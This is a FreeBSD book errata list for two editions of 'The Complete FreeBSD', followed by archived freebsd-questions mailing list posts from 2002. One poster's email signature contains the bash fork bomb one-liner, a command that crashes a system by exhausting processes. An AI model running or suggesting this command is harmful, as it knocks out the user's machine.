?   ln -s /cd4/ports/distfiles/$i /usr/ports/distfiles/$i
? end

Thanks to Christopher Raven <gurab@lineone.net>  and  Francois  Jacques  <fran-
cois.jacques@callisto.si.usherb.ca> for drawing this to my attention.

Page 104
________

The examples at the bottom of the page and the top of the next page specify the
wrong directory (/usr).  It should be /usr/X11R6.  Replace the examples with:

For a full install, choose /cdrom/dists/XF86331/X331*.tgz.  If  you  are  using
sh, enter:

# cd /usr/X11R6
# for i in /cdrom/dists/XF86331/X331*.tgz; do
#   tar xzf $i
# done

If you are using csh, enter:

% cd /usr/X11R6
% foreach i (/cdrom/dists/XF86331/X331*.tgz)
%   tar xzf $i
% end

For a minimal installation, first choose a server archive corresponding to your
VGA board.  If table 8-2 on page 103 doesn't give you enough information, check
the  server  man  pages,  starting  on  page 1545, which list the VGA chip sets
supported by each server.  For example, if you have an ET4000 based  board  you
will use the XF86_SVGA server.  In this case you would enter:

# cd /usr/X11R6
# tar xzf /cdrom/dists/XF86331/X331SVGA.tgz  substitute your server name here
# for i in bin fnts lib xicf; do
#   tar xzf /cdrom/dists/XF86331/X331$i.tgz
# done


                                                                         Page 7






Install ports when installing the system


If you are using csh, enter:

% cd /usr/X11R6
% tar xzf /cdrom/dists/XF86331/X331SVGA.tgz  substitute your server name here
% foreach i (bin fnts lib xicf)
%   tar xzf /cdrom/dists/XF86331/$i
% end


Thanks  to Manuel Enrique Garcia Cuesta <megarcia@intercom.es> for pointing out
this one.

Page 128
________

Replace the complete text below the example with the following:

These values are defaults, and many  are  either  incorrect  for  FreeBSD  (for
example the device name /dev/com1) or do not apply at all (for example Xqueue).
If you are configuring manually, select one Protocol and one Device entry  from
the  following  selection.   If  you must use a two-button mouse, uncomment the
keyword Emulate3Buttons--in this mode, pressing both mouse  buttons  simultane-
ously  within Emulate3Timeout milliseconds causes the server to report a middle
button press.

Section "Pointer"

    Protocol   "Microsoft"         for Microsoft protocol mice
    Protocol    "MouseMan"         for Logitech mice
    Protocol    "PS/2"             for a PS/2 mouse
    Protocol    "Busmouse"         for a bus mouse

    Device     "/dev/ttyd0"        for a mouse on the first serial port
    Device     "/dev/ttyd1"        for a mouse on the second serial port
    Device     "/dev/ttyd2"        for a mouse on the third serial port
    Device     "/dev/ttyd3"        for a mouse on the fourth serial port
    Device     "/dev/psm0"         for a PS/2 mouse
    Device     "/dev/mse0"         for a bus mouse

    Emulate3Buttons           only for a two-button mouse

EndSection

You'll notice that the protocol name does not always match  the  manufacturer's

Page 8






                    Errata and addenda for the Complete FreeBSD, second edition


name.   In  particular,  the  Logitech  protocol only applies to older Logitech
mice.  The newer ones use either the MouseMan or Microsoft  protocols.   Nearly
all modern serial mice run one of these two protocols, and most run both.

If  you are using a bus mouse or a PS/2 mouse, make sure that the device driver
is included in the kernel.  The GENERIC kernel contains drivers for both  mice,
but the PS/2 driver is disabled.  Use UserConfig (see page 50) to enable it.

Page 140
________

Just before the paragraph The super user add the following paragraph:

If  you  do  manage to lose the root password, all may not be lost.  Reboot the
machine to single user mode (see page 157), and enter:

# mount -u /             mount root file system read/write
# mount /usr             mount /usr file system (if separate)
# passwd root            change the password for root
Enter new password:
Enter password again:
# ^D                enter ctrl-D to continue with startup

If you have a separate /usr file system (the normal case), you need to mount it
as  well, since the passwd program is in the directory /usr/bin.  Note that you
should explicitly state the name root: in single user mode, the system  doesn't
have the concept of user IDs.

Page 148
________

Replace the text at the top of the page with:

Modern  shells  supply  command  line editing which resembles the editors vi or
Emacs.  In bash, sh, ksh, and zsh you can make the choice by entering

Page 152
________

After figure 10-8, add the following text:

It  would  be  tedious  for  every  user  to  put  settings  in  their  private
initialization  files, so the shells also read a system-wide default file.  For
the Bourne shell family, it is /etc/profile, while the C shell family has three

                                                                         Page 9






Install ports when installing the system


files:  /etc/csh.login  to  be executed on login, /etc/csh.cshrc to be executed
when a new shell is started  after  you  log  in,  and  /etc/csh.logout  to  be
executed  when  you  stop  a  shell.   The  start files are executed before the
corresponding individual files.

In  addition,  login  classes  (page  141)  offer  another  method  of  setting
environment variables at a global level.

Changing your shell
___________________

The  FreeBSD  installation  gives root a C shell, csh.  This is the traditional
Berkeley shell, but it has a number of disadvantages: command line  editing  is
very primitive, and the script language is significantly different from that of
the Bourne shell, which is the de facto standard for shell scripts: if you stay
with  the  C  shell,  you  may  still need to understand the Bourne shell.  The
latest version of the Bourne shell sh also includes some command line  editing.
See page 148 for details of how to enable it.

You  can  get  better  command line editing with tcsh, in the Ports Collection.
You can get both better command line editing and Bourne shell syntax with bash,
also in the Ports Collection.

If  you  have root access, you can use vipw to change your shell, but there's a
more general way: use chsh (Change Shell).  Simply run the program.  It  starts
your  favourite editor (as defined by the EDITOR environment variable).  Here's
an example before:

#Changing user database information for velte.
Shell: /bin/csh
Full Name: Jack Velte
Location:
Office Phone:
Home Phone:

You can change anything after the colons.  For example, you might  change  this
to:

#Changing user database information for velte.
Shell: /usr/local/bin/bash
Full Name: Jack Velte
Location: On the road
Office Phone: +1-408-555-1999
Home Phone:

Page 10






                    Errata and addenda for the Complete FreeBSD, second edition


chsh  checks and updates the password files when you save the modifications and
exit the editor.  The next time you log in, you get the new shell.  chsh  tries
to  ensure you don't make any mistakes--for example, it won't let you enter the
name of a shell which isn't mentioned in the file /etc/shells--but it's a  very
good  idea  to  check  the shell before logging out.  You can try this with su,
which you normally use to become super user:

bumble# su velte
Password:
su-2.00$                 note the new prompt

There are a couple of problems in using tcsh or bash as a root shell:

o The shell for root must be on the root file system,  otherwise  it  will  not
  work  in single user mode.  Unfortunately, most ports of shells put the shell
  in the directory /usr/local/bin, which is  almost  never  on  the  root  file
  system.

o Most  shells  are  dynamically linked: they rely on library routines in files
  such as /usr/lib/libc.a.  These files are not available in single user  mode,
  so  the shells won't work.  You can solve this problem by creating statically
  linked versions of the shell, but this requires programming experience beyond
  the scope of this book.

If you can get hold of a statically linked version, perform the following steps
to install it:

o Copy the shell to /bin, for example:

  # cp /usr/local/bin/bash /bin

o Add the name of the shell to /etc/shells,  in this example the line  in  bold
  print:

  # List of acceptable shells for chpass(1).
  # Ftpd will not allow users to connect who are not using
  # one of these shells.
  /bin/sh
  /bin/csh
  /bin/bash


You can then change the shell for root as described above.


                                                                        Page 11






Install ports when installing the system


Thanks  to  Lars Koller  <Lars.Koeller@Uni-Bielefeld.DE> for drawing this to my
attention.

Page 160
________

Replace the text at the fourth bullet with the augmented text:

The second-level boot locates the kernel, by default the file  /kernel  on  the
root file system, and loads it into memory.  It prints the Boot: prompt at this
point so that you can influence this choice--see the man page on page  579  for
more details of what you can enter at this prompt.

Page 169
________

Replace the last paragraph on the page with:

The standard solution for these problems is to relocate the /tmp file system to
a different directory, say /usr/tmp, and create a symbolic link  from  /usr/tmp
to /tmp--see Chapter 4, Installing FreeBSD, page 72, for more details.

Thanks to Charlie Sorsby <crs@hgo.net> for drawing this to my attention.

Page 176
________

Add the following paragraph

Unmounting file systems

When you mount a file system, the system assumes it is going to stay there, and
in the interests of efficiency it delays writing data back to the file  system.
This  is the same effect we discussed on page 158.  As a result, if you want to
stop using a file system, you need to tell the system about it.   You  do  this
with  the umount command.  Note the spelling--there's no n in the command name.

You need to do this even with read-only  media  such  as  CD-ROMs:  the  system
assumes  it  can  access the data from a mounted file system, and it gets quite
unhappy if it can't.  Where possible, it locks  removable  media  so  that  you
can't remove them from the device until you unmount them.

Using  umount  is  straightforward:  just  tell  it what to unmount, either the
device name or the directory name.  For  example,  to  unmount  the  CD-ROM  we

Page 12






                    Errata and addenda for the Complete FreeBSD, second edition


mounted in the example above, you could enter one of these commands:

# umount /dev/cd1a
# umount /cd1

Before  unmounting  a  file  system, umount checks that nobody is using it.  If
somebody is using it, it will refuse to unmount it with a message like  umount:
/cd1:  Device  busy.   This  message often occurs because you have changed your
directory to a directory on the file system you want to  remove.   For  example
(which also shows the usefulness of having directory names in the prompt):

=== root@freebie (/dev/ttyp2) /cd1 16 -> umount /cd1
umount: /cd1: Device busy
=== root@freebie (/dev/ttyp2) /cd1 17 -> cd
=== root@freebie (/dev/ttyp2) ~ 18 -> umount /cd1
=== root@freebie (/dev/ttyp2) ~ 19 ->

Thanks to Ken Deboy <glockr@locked_and_loaded.reno.nv.us> for pointing out this
omission.

Page 180
________

The example in the middle of the page should read:

For example, to generate a second set of 32 pseudo-terminals, enter:

# cd /dev
# ./MAKEDEV pty1

You can generate up to 256 pseudo-terminals.   They  are  named  ttyp0  through
ttypv,  ttyq0  through  ttyqv,  ttyr0 through ttyrv, ttys0 through ttysv, ttyP0
through ttyPv, ttyQ0 through ttyQv,  ttyR0  through  ttyRv  and  ttyS0  through
ttySv.   To  create  each  set  of 32 terminals, use the number of the set: the
first set is pty0, and the eighth set is pty7.  Note that some processes,  such
as xterm, only look at ttyp0 through ttysv.

Thanks to Karl Wagner <karl@softronex.dynip.com> for pointing out this error.


Page 197, first line
____________________

The text of the first full sentence reads:

                                                                        Page 13






Install ports when installing the system


The first name, up the the  symbol, is the label.

In fact, it should read:

The first name, up to the | symbol, is the label.


Page 208, middle of page
________________________

The  example  shows  the  file  name /dev/rst0 when using the Bourne shell, and
/dev/nrst0  when  using  C  shell  and  friends.   This  is  inconsistent;  use
/dev/nrst0 with any shell if you want a non-rewinding tape, or /dev/rst0 if you
want a rewinding tape.

Thanks to Norman C Rice <nrice@emu.sourcee.com> for pointing out this one.

Page 219
________

Before the section Testing the spooler add the following section:

As we saw above, the line  printer  daemon  lpd  is  responsible  for  printing
spooled  jobs.   By default it isn't started at boot time.  If you're root, you
can start it by name:

# lpd

Normally, however, you will want it to be started automatically when the system
starts up.  You do this by setting the variable lpd_enable in /etc/rc.conf:

lpd_enable="YES"              # Run the line printer daemon

See page  for more details of /etc/rc.conf.

Another line in /etc/rc.conf refers to the line printer daemon:

lpd_flags=""        # Flags to lpd (if enabled).

You  don't  normally  need  to  change this line.  See the man page for lpd for
details of the flags.

Thanks to Tommy  G.  James  <tgj@worldnet.att.net>  for  bringing  this  to  my
attention.

Page 14






                    Errata and addenda for the Complete FreeBSD, second edition


Page 231
________

Replace the first line of the example with:

xhost presto bumble gw

The original version allowed anybody on the Internet to access your system.

Thanks  to  Jerry  Dunham  <dunham@dunham.org>  for  drawing  this  one  to  my
attention.


Page 237
________

In the section Installing the sample desktop, replace the first paragraph with:

You'll  find  all  the  files  described  in  this  chapter on the first CD-ROM
(Installation CD-ROM) in the directory /book.  Remember that you must mount the
CD-ROM  before you can access the files--see page 175 for further details.  The
individual scripts are in the directory /book/scripts, but you'll probably find
it easier to install them with the script install-desktop:

Thanks to Chris Kaiser <kaiserc@fltg.net> for drawing this to my attention.

Page 242
________

The  instructions  for extracting the source files from CD-ROM in the middle of
page 242 are incorrect.  You'll find the kernel sources on the first CD-ROM  in
the directory /src.  Replace the example with:

# mkdir -p /usr/src/sys
# ln -s /usr/src/sys /sys
# cd /
# cat /cdrom/src/ssys.[a-d]* | tar xzvf -

Thanks    to    Raymond    Noel   <raynoel@videotron.ca>,   Suttipan   Limanond
<b0l6604@unix.tamu.edu> and Satwant <wizkid11@xnet.com> for finding this one in
several small slices.




                                                                        Page 15






Install ports when installing the system


Page 257
________

Replace the paragraph Berkeley Packet Filter with:


pseudo-device bpfilter
______________________

The  Berkeley  Packet  Filter  (bpf)  allows  you to capture packets crossing a
network interface to disk or to examine them with the  tcpdump  program.   Note
that  this  capability represents a significant compromise of network security.
The number after bpfilter is the number of concurrent processes  that  can  use
the facility.  Not all network interfaces support bpf.

In  order  to  use  the Berkeley Packet Filter, you must also create the device
nodes /dev/bpf0 to /dev/bpf3 (if you're using the default number 4).   Current-
ly, MAKEDEV doesn't help much--you need to create each device separately:

# cd /dev
# ./MAKEDEV bpf0
# ./MAKEDEV bpf1
# ./MAKEDEV bpf2
# ./MAKEDEV bpf3

Thanks  to  Christopher  Raven  <c.raven@ukonline.co.uk> for drawing this to my
attention.

Page 264
________

In the list of disk driver flags, add:

o Bit 12 (0x1000) enables LBA (logical block addressing mode).  If this bit  is
  not set, the driver accesses the disk in CHS (cylinder/head/sector) mode.

o In  CHS  mode, if bits 11 to 8 are not equal to 0, they specify the number of
  heads to assume (between 1 and 15).  The driver recalculates  the  number  of
  cylinders to make up the total size of the disk.






Page 16






                    Errata and addenda for the Complete FreeBSD, second edition


Page 273, ``Building the kernel''
_________________________________

Replace the example with:

Next, change to the build directory and build the kernel:

# cd ../../compile/FREEBIE
# make depend
# make

   The  make  depend  is needed even if the directory has just been created:
   apart from creating dependency information, it also  creates  some  files
   needed for the build.
Thanks to Mark Ovens <marcov@globalnet.co.uk> for drawing this to my attention.

Page 283, ``Creating the source tree''
______________________________________

Add a third point to what you need to know:

3. Possibly, the date of the last update that you want to be  included  in  the
  checkout.   If  you  specify  this date, cvs ignores any more recent updates.
  This option is often useful when somebody discovers a recently introduced bug
  in  -CURRENT:  you  check  out  the  modules  as they were before the bug was
  introduced.  You specify the date with the -D  option,  for  example  -D  "10
  December 1997".


Page 285, after the second example.
___________________________________

Add the text:

If  you  need  to check out an older version, for example if there are problems
with the most recent version of -CURRENT, you could enter:

# cvs co  -D "10 December 1997" src/sys

This command checks out the kernel sources as of 10 December 1997.





                                                                        Page 17






Install ports when installing the system


Page 294
________

Add the following section:

Problems executing Linux binaries
_________________________________

One of the problems with the ELF format used by more recent Linux  binaries  is
that  they  usually  contain no information to identify them as Linux binaries.
They might equally well be BSD/OS or UnixWare binaries.  That's  not  really  a
problem  at  this point, since the only ELF format that FreeBSD 3.2 understands
is Linux, but FreeBSD-CURRENT recognizes a native FreeBSD ELF format  as  well,
and  of  course  that's  the default.  If you want to run a Linux ELF binary on
such a system, you must brand the executable using the program  brandelf.   For
example, to brand the StarOffice program swriter3, you would enter:

# brandelf -t linux /usr/local/StarOffice-3.1/linux-x86/bin/swriter3

Thanks to Dan Busarow <dan@dpcsys.com> for bringing this to my attention.

Page 364, middle of page
________________________

Change the text from:

The names MYADDR and HISADDR are keywords which represent the addresses at each
end of the link.  They must be written as shown, though they may  be  in  lower
case.

to

The names MYADDR and HISADDR are keywords which represent the addresses at each
end of the link.  They must be written as shown, though newer versions  of  ppp
allow you to write them in lower case.

Thanks to Mark S. Reichman <mark@fang.cs.sunyit.edu> for this correction.

Page 368
________

Replace the paragraph after the second example with:

In  FreeBSD  version  3.0  and  later,  specify  the  options  PPP_BSDCOMP  and

Page 18






                    Errata and addenda for the Complete FreeBSD, second edition


PPP_DEFLATE to enable two kinds of compression.  You'll also  need  to  specify
the corresponding option in Kernel PPP's configuration file.  These options are
not available in FreeBSD version 2.

Thanks to Brian Somers <brian@Awfulhak.org> for this information.

Page 397
________

In the section ``Nicknames'', the example should read:

www       IN   CNAME          freebie
ftp       IN   CNAME          presto

In other words, there should be a space between CNAME and the system name.

Page 422
________

Replace the text above the example with:

tcpdump is a program which monitors a network interface and  displays  selected
information which passes through it.  It uses the Berkeley Packet Filter (bpf),
an optional component of the kernel.  It is not included in the GENERIC kernel:
see page 257 for information on how to configure it.

If you don't configure the Berkeley Packet Filter, you will get a message like

tcpdump: /dev/bpf0:  device not configured

If you forget to create the devices for bpf, you will get a message like:

tcpdump: /dev/bpf0: No such file or directory

Since  tcpdump poses a potential security problem, you must be root in order to
run it.  The simplest way to run it is without any parameters.  This will cause
tcpdump  to  monitor  and  display  all  traffic  on  the  first active network
interface, normally Ethernet:

Thanks to Christopher Raven <c.raven@ukonline.co.uk> for  drawing  this  to  my
attention.




                                                                        Page 19






Install ports when installing the system


Page 423
________

The  description  at  the  top of the page incorrectly uses the term IP address
instead  of  Ethernet  address.   In  addition,  a  page  number  reference  is
incorrect.  Replace the paragraph with:

o Line  1  shows  an  ARP  request:  system  presto is looking for the Ethernet
  address of wait.  It would appear that  wait  is  currently  not  responding,
  since there is no reply.

o Line 2 is not an IP message at all.  tcpdump shows the Ethernet addresses and
  the beginning of the packet.  We don't consider this kind of request in  this
  book.

o Line 3 is a broadcast ntp message.  We looked at ntp on page 160.

o Line 4 is another attempt by presto to find the IP address of wait.

o Line  5  is  a  broadcast  message  from  bumble  on  the  rwho  port, giving
  information about its current load averages and how long it has been up.  See
  the man page for rwho on page 1167 for more information.

o Line 6 is from a TCP connection between port 6000 on freebie and port 1089 on
  presto.  It is sending 384 bytes (with  the  sequence  numbers  536925467  to
  536925851; see page 305), and is acknowledging that the last byte it received
  from presto had the sequence number 325114346.  The window size is 17280.

o Line 7 is another ARP request.  presto is looking for the Ethernet address of
  freebie.   How  can  that  happen?   We've  just  seen  that  they have a TCP
  connection.  In fact, ARP information expires after 20 minutes.   It's  quite
  possible  that  all  connections between presto and freebie have been dormant
  for this period, so presto needs to find freebie's IP address again.

o Line 8 is the ARP reply from freebie to presto giving its Ethernet address.

o Line 9 shows a reply from presto on the connection to freebie that we saw  on
  line  6.   It  acknowledges  the  data  up  to sequence number 536925851, but
  doesn't send any itself.

o Line 10 shows  another  448  bytes  of  data  from  freebie  to  presto,  and
  acknowledging the same sequence number from presto as in line 6.

Thanks to Sergei S. Laskavy <laskavy@hedgehog.cs.msu.su> for drawing this to my

Page 20






                    Errata and addenda for the Complete FreeBSD, second edition


attention.

Page 450: anonymous ftp
_______________________

Replace the paragraph starting with Create a user ftp:

Create a user ftp, with the anonymous ftp directory as the home  directory  and
the  shell  /dev/null.  Using /dev/null as the shell makes it impossible to log
in as user ftp, but does not interfere with the use of anonymous ftp.  ftp  can
be a member of group bin, or you can create a new group ftp by adding the group
to /etc/group.  See page 138 for more details of adding users, and the man page
on page 805 for adding groups.

Thanks to Mark S. Reichman <mark@borg.com> for drawing this to my attention.

Page 466, before the ps example
_______________________________

Add another bullet:

o Finally,  you may find it convenient to let some other system handle all your
  mail delivery for you: you just send anything you can't  deliver  locally  to
  this  other  host,  which  sendmail calls a smart host.  This is particularly
  convenient if you send your mail with UUCP.

  To tell sendmail to use a smart host (in our  case,  mail.example.net),  find
  the following line in sendmail.cf:

  # "Smart" relay host (may be null)
  DS

  Change it to:

  # "Smart" relay host (may be null)
  DSmail.example.net


Page 478, ``Running Apache''
____________________________

The  text  describes the location of the server as /usr/local/www/server/httpd.
This appears to depend on where you get the port from.  Some people report  the
file  being  at the more likely location /usr/local/sbin/httpd (though note the

                                                                        Page 21






Install ports when installing the system


directory sbin, not bin).  Check  both  locations  if  you  run  into  trouble.
Thanks to Sue Blake <sue@welearn.com.au> for this information.

Page 492
________

Replace references to nmdb with nmbd.

Page 493
________

Replace the last paragraph on the page with:

socket  options  is  hardly  mentioned  in  the  documentation,  but  it's very
important:  many  Microsoft  implementations  of  TCP/IP  are  inefficient  and
establish  a  new  TCP  more  often  than necessary.  Select the socket options
TCP_NODELAY and IPTOS_LOWDELAY, which can speed up the response  time  of  such
applications by over 95%.



























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          Errata and addenda for the Complete FreeBSD, third edition




                         Last revision: 2 August 1999

The trouble with books is that you can't update them the way you can a web page
or any other online documentation.   The  result  is  that  most  leading  edge
computer  books are out of date almost before they are printed.  Unfortunately,
``The Complete FreeBSD'', published by Walnut  Creek,  is  no  exception.   In-
evitably, a number of bugs and changes have surfaced.

The  following  is  a list of modifications which go beyond simple typos.  They
relate to the third edition, formatted  on  17  May  1999.   You'll  find  this
information  on  page  iv  (the  page  before  the  beginning  of  the Table of
Contents).  See the end of this document for instructions on how  to  find  the
errata for an older version.

You can get the current document in four forms:

o A     PostScript     version,     suitable     for     printing    out,    at
  ftp://ftp.lemis.com/pub/cfbsd/errata-3.ps. See page 302 of the third  edition
  to  find  out  how  to print out PostScript.  If at all possible, please take
  this document: it's closest to the original text.

  Be careful selecting this file with a web browser: it is often impossible  to
  reload the document, and you may see a previously cached version.

o An enhanced ASCII version at ftp://ftp.lemis.com/pub/cfbsd/errata-3.txt. When
  viewed with more or less,  this  version  will  show  some  highlighting  and
  underlining.  It's not suitable for direct viewing.

o An  ASCII-only  version at ftp://ftp.lemis.com/pub/cfbsd/errata-3.ascii. This
  version is posted every week to the  FreeBSD-questions  mailing  list.   Only
  take  this version if you have real problems with PostScript: I can't be sure
  that the lack of different fonts won't confuse the meaning.

o A web version at http://www.lemis.com/errata-3.html.

All these modifications have been applied to the ongoing  source  text  of  the
book, so if you buy a later edition, they will be in it as well.  If you find a

                                                                         Page 1






The Complete FreeBSD


bug or a suspected bug in the book, please contact me at <grog@FreeBSD.org.>

Page ii
_______

The instructions on page ii (opposite the title  page)  tell  you  to  look  at
ftp://ftp.lemis.com/pub/cfbsd/errata-2  for  the  errata  list.   That's wrong.
Look at this list.

Pages 190 and 191
_________________

The description is not very clear about which text appears  when  booting  from
floppy  for  initial  install,  and  which  appears when booting normally.  The
procedure is very similar, but there are some differences.  Add  the  following
text after the heading Boot messages:

You'll  boot  your system in at least two different ways: initially you'll boot
from floppy or CD-ROM in order to install the system.  Later, after the  system
is  installed,  you'll boot from hard disk.  The procedure is almost identical,
so we'll look at both versions in the following examples.

Replace the text from the middle of page 191 with:

If you're booting from 1.44 MB floppies, you will then see:

Please insert MFS root floppy and press enter:

When you insert the MFS root floppy and press  Enter,  you  see  more  twirling
batons, then the UserConfig screen appears.

UserConfig: Modifying the boot configuration
____________________________________________

After  the  kernel has been loaded, the following screen will appear if you are
installing the system, or if you have requested it with the -c  option  to  the
boot loader:

Page 206
________

The  bottom  two lines on this page should be in bold constant font, indicating
that this is input for your /etc/rc.config file


Page 2






                     Errata and addenda for the Complete FreeBSD, third edition


nfs_client_enable="YES"       # This host is an NFS client (or NO).
nfs_server_enable="YES"       # This host is an NFS server (or NO).


Page 265
________

The example on the second half of the page refers to the old SCSI driver.   The
scsi  program  is  no  longer  available  in  FreeBSD  3.x.   Instead,  use the
camcontrol program.  Replace the text with:.

Modern disks make provisions for recovering from such errors by  allocating  an
alternate sector for the data.  IDE drives do this automatically, but with SCSI
drives you have the option of enabling or disabling reallocation.   Usually  it
is  turned on when you buy them, but occasionally it is not.  When installing a
new disk, you should check that the parameters  ARRE  (Auto  Read  Reallocation
Enable)  and AWRE (Auto Write Reallocation Enable) are turned on.  For example,
to check and set the values for disk da1, you would enter:

# camcontrol modepage da1 -m 1 -e -P 3
# scsi -f /dev/rda1c -m 1 -e -P 3

This command will start up your favourite editor (either the one  specified  in
the EDITOR environment variable, or vi by default) with the following data:

AWRE (Auto Write Reallocation Enbld):  0
ARRE (Auto Read Reallocation Enbld):  1
TB (Transfer Block):  0
RC (Read Continuous):  0
EER (Enable Early Recovery):  0
PER (Post Error):  0
DTE (Disable Transfer on Error):  0
DCR (Disable Correction):  0
Read Retry Count:  16
Correction Span:  41
Head Offset Count:  0
Data Strobe Offset Count:  0
Write Retry Count:  16
Recovery Time Limit:  0

The  values  for  AWRE  and  ARRE should both be 1.  If they aren't, as in this
case, where AWRE is 0, change the data with the editor, save it, and exit.  The
camcontrol  program will write the data back to the disk and enable the option.


                                                                         Page 3






The Complete FreeBSD


Page 331
________

The description of the config refers to the SCSI drive sd0.  This  is  the  old
name; in FreeBSD version 3, SCSI drives are called da, so this reference should
be da0.

Thanks  to  Francisco  Reyes  <francisco@natserv.com>  for  pointing  out  this
problem.

Page 362
________

Replace the text at the top of the page with:

Next, change to the build directory and build the kernel:

# cd ../../compile/FREEBIE
# make depend
# make

   The  make  depend  is needed even if the directory has just been created:
   apart from creating dependency information, it also  creates  some  files
   needed for the build.
Thanks to Mark Ovens <marcov@globalnet.co.uk> for drawing this to my attention,
and   to   Francisco   Reyes   <francisco@natserv.com>   and   Bill    Fumerola
<billf@jade.chc-chimes.com>  for pointing out that it still wasn't fixed in the
third edition.

Page 409
________

The information on setting the default routers specified the wrong end  of  the
PPP  links  in  some  places.  It should always be the ``far'' end of the link.
Replace the second example on page 409, and the text following  it,  with  this
text:

defaultrouter="139.130.136.129"    # Set to default gateway (or NO).
static_routes=""              # Set to static route list (or leave empty).
gateway_enable="YES"               # Set to YES if this host will be a gateway.

This  is the normal way to set the default route on a point-to-point interface.
In fact, for PPP you don't  need  to  specify  the  default  address:  the  PPP
packages will set it for you when the link comes up.  This makes it possible to

Page 4






                     Errata and addenda for the Complete FreeBSD, third edition


set default routes when you're forced to use dynamic IP  addresses,  where  you
don't know the address at this point.  We'll see how PPP does this on page 446.

In the first example on page 410, the sixth example on page 412 and the  second
example on page 413, replace the defaultrouter definition with:


defaultrouter="139.130.237.65"          # Set to default gateway (or NO).


Thanks to Andreas Longwitz <longwitz@Incore.de> for pointing out this error.

Getting errata for older editions of the book
_____________________________________________

There have been a total of five different versions of ``The Complete FreeBSD''.
The most accurate way to distinguish them is by the format date,  which  you'll
find  at  the  bottom of page iv (the page before the beginning of the Table of
Contents) in all versions of the book.

1. The first was titled ``Installing and running FreeBSD'', and  was  formatted
  on 24 February 1996.  No errata list exists for this book.

2. For  the first edition (19 July 1996), get ftp://ftp.lemis.com/pub/cfbsd/er-
  rata-1.   This   same   file   is   also   available   via   the   web   link
  http://www.lemis.com/errata-1. I am no longer updating this errata list.

3. The  list  for  the  second  edition (16 December 1997) is available in four
  forms:

  o A    PostScript    version,    suitable    for     printing     out,     at
    ftp://ftp.lemis.com/pub/cfbsd/errata-2.ps.  See  page  222  of  the  second
    edition to find out how to print  out  PostScript.   If  at  all  possible,
    please take this document: it's closest to the original text.

    Be  careful  selecting this file with a web browser: it is often impossible
    to reload the document, and you may see a previously cached version.

  o An enhanced ASCII  version  at  ftp://ftp.lemis.com/pub/cfbsd/errata-2.txt.
    When viewed with more or less, this version will show some highlighting and
    underlining.  It's not suitable for direct viewing.

  o An ASCII-only version at ftp://ftp.lemis.com/pub/cfbsd/errata-2.ascii. This
    version  is  posted every week to the FreeBSD-questions mailing list.  Only

                                                                         Page 5






Getting errata for older editions of the book


    take this version if you have real problems with  PostScript:  I  can't  be
    sure that the lack of different fonts won't confuse the meaning.

  o A web version at http://www.lemis.com/errata-2.html.

4. The  revised  second edition was formatted on 11 February 1999.  As the name
  suggests, it's not a complete new edition: in fact, only three  chapters  are
  different:

  o The chapter ``Setting up X11'' has been brought up to date.

  o Appendix  D (``Contents of the Ports Collection'') has been replaced by two
    appendixes, ``Errata and Addenda'' (the errata list up to date at the time)
    and  ``FreeBSD  3.0'',  which describes the differences between FreeBSD 2.x
    and FreeBSD 3.x.

  There is no separate errata list for this book.  Refer to the second  edition
  errata list.

5. The  current,  third edition, formatted on 17 May 1999.  This is the correct
  list for this edition.
























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From owner-freebsd-questions  Fri Aug  2 17: 6:19 2002
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From: Erik Trulsson <ertr1013@student.uu.se>
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On Fri, Aug 02, 2002 at 07:42:54PM -0400, Stephen Hovey wrote:
> 
> do the list people utilize blackhole lists?  It might help.

I believe they do use blackhole lists and/or other spam-stopping measures
on the list servers.  As I understand it most of the spam that hits the
servers never actually reaches the lists and what we see here is only a
small part of the spam that is sent to the list.  



-- 
<Insert your favourite quote here.>
Erik Trulsson
ertr1013@student.uu.se


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From owner-freebsd-questions  Fri Aug  2 17: 7:57 2002
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Hello friends.  I have another question concerning TAR backups.

So, I'm using scripts to backup batches of directories full of image
sequences.  A typical line of the script looks like:

tar cvf /dev/nrsa0 imagesequencedir

The frames always write to tape out of order.  How can I force the files to
write in alphanumeric order without having to feed the filenames to tar with
a text file?

--
David Smithson - Systems Administrator
Custom Film Effects




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From owner-freebsd-questions  Fri Aug  2 17:12:40 2002
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From: Edwin Groothuis <edwin@mavetju.org>
To: Simon Siemonsma <simon.freebsd@hccnet.nl>
Cc: freebsd-questions@freebsd.org
Subject: Re: What are profiled libraries?
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On Fri, Aug 02, 2002 at 09:22:07PM +0200, Simon Siemonsma wrote:
> I'm trying to optimise my system.
> Now, I did read some that I should set NOPROFILE=true in my /etc/make.conf 
> file. This should avoid compiling profiles libraries.
> As l like to understand what I'm doing to my system, a few questions:
> 
> What are profiled libraries?
> What is there use?

Profiling a program means that you're trying to find out where it
is spending its time. So at the beginning of every function-call
it keeps track of the time and at the return of the function-call
it memorizes how much time it has spend there. At the end it will
give some statistics regarding which functions were called most,
which took the longest time to complete etc.

It adds a overhead to the program which in 99.99% of the times isn't
used. So to stop people from having this overhead by default, the
normal libraries are unprofiled. If you want to profile your program,
you should explicitely specify it and get it linked with profiled
libraries.

Edwin, long answer to a short question

-- 
Edwin Groothuis      |            Personal website: http://www.MavEtJu.org
edwin@mavetju.org    |    Weblog: http://www.mavetju.org/weblog/weblog.php 
bash$ :(){ :|:&};:   | Interested in MUDs? http://www.FatalDimensions.org/

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From owner-freebsd-questions  Fri Aug  2 17:15:29 2002
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From: Jordi YC <jordi_yc@lycos.es>
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Subject: uscanner howto?
Date: Fri, 2 Aug 2002 20:15:11 -0400
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Hi,

I have an AcerScan 620U, and it is detected as uscanner.

However, I am somewhat lost in order to use it with openoffice or other 
applications.

Is there any document about how to use uscanner?

So far, I tried to use sane, but it does not detects it (?)

TIA

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From owner-freebsd-questions  Fri Aug  2 17:23:53 2002
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On Sat, 3 Aug 2002 07:12, Christopher J. Umina wrote:
> Hello,
>
> 	Anybody know of a text based editor that I can just view and/or
> edit Microsoft Word documents?

There can be no such thing, as M$ docs are not plain text.
Perhaps you mean a console-based M$ Word editor?
I don't know of one.

However, any text editor (le, vi, emacs ...  etc) can read .doc files.   You 
simply have to remove the Word crud to and bottom and edit the text as you 
wish.  You finish up with an edited TEXT file, though, which mght not be what 
you want.

-- 
Regards,
Brian

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From owner-freebsd-questions  Fri Aug  2 17:35: 8 2002
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> On Fri, 2 Aug 2002, Mike wrote:
>> Stick with videos.. Please. --

>> The unixhideout network
>> http://www.unixhideout.com
>
> Very funny.  You mean "videoconferencing."  And anyways, there is an
> expression: "The best of both worlds," you know?
>
> --
> Peter Leftwich
> President & Founder
> Video2Video Services
> Box 13692, La Jolla, CA, 92039 USA
> +1-413-403-9555

"videoconferencing."
It's two words. Not one.
I know all about you. Your all about SPAM. Besides, ask a stupid question
